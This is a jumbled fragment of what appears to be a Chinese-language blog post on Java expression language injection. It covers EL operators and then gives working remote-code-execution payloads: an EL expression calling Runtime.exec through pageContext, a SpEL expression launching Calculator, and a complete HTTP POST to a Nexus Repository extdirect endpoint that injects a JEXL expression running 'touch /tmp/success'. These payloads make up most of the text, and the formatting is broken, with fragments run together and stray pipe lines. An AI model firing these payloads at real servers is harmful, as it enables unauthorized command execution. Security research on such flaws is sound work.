
${sessionScope.company.staff}Company company =(Company)session.getAttribute("company");
String staff =company.getStaff( );
${sessionScope.company["staff"]}|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
"+ - * /"
"% mod"
"=="或"eq"、"!="或"ne"、"<"或 "lt"、">"或"gt"、"<="或"le"、">="或"ge"
"&&"或"and"、"||"或"or"、"!"或"not"
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)${pageContext}//获取Web路径${pageContext.getSession().getServletContext().getClassLoader().getResource("")}//文件头参数${header}//获取webRoot${applicationScope}//执行命令${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
groupName=1&papersType=${555-
444}&papersValue=1&baseacct=1&retMsg=1&retCode=1


#{T(java.lang.Math)}ExpressionParser parser = new SpelExpressionParser();Expression exp =parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open/Applications/Calculator.app")");Object value = exp.getValue();
docker-compose up -d








POST /service/extdirect HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0Accept: */*Content-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 368Connection: close{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}


发表评论